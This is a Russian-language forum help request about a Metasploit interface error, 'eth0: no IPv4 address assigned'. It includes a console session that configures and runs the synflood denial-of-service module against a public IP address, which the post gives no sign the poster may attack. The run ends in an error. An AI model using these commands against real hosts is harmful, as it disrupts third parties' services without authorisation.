Проблема При юзании каково либо модуля Выскакивает ошибка
- Cannot stat device: eth0: no IPv4 address assigned
[-] Auxiliary failed: RuntimeError Pcaprub error: eth0: no IPv4 address assigned
Показываю на примере допустим модуля synflood
msf > use auxiliary/dos/tcp/synflood msf auxiliary(synflood) > show options
Module options (auxiliary/dos/tcp/synflood):
Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface NUM no Number of SYNs to send (else unlimited) RHOST yes The target address RPORT 80 yes The target port SHOST no The spoofable source address (else randomizes) SNAPLEN 65535 yes The number of bytes to capture SPORT no The source port (else randomizes) TIMEOUT 500 yes The number of seconds to wait for new data
msf auxiliary(synflood) > set RHOST 23.63.233.233 RHOST => 23.63.233.233 msf auxiliary(synflood) > exploit /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:129: warning: unable to get IP: eth0: no IPv4 address assigned
- SYN flooding 23.63.233.233:80...
- Cannot stat device: eth0: no IPv4 address assigned [-] Auxiliary failed: RuntimeError Pcaprub error: eth0: no IPv4 address assigned [-] Call stack: [-] /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:423:in `rescue in lookupnet' [-] /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:415:in `lookupnet' [-] /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:429:in `should_arp?' [-] /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:304:in `lookup_eth' [-] /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:256:in `capture_sendto' [-] /usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb:63:in `run'
- Auxiliary module execution completed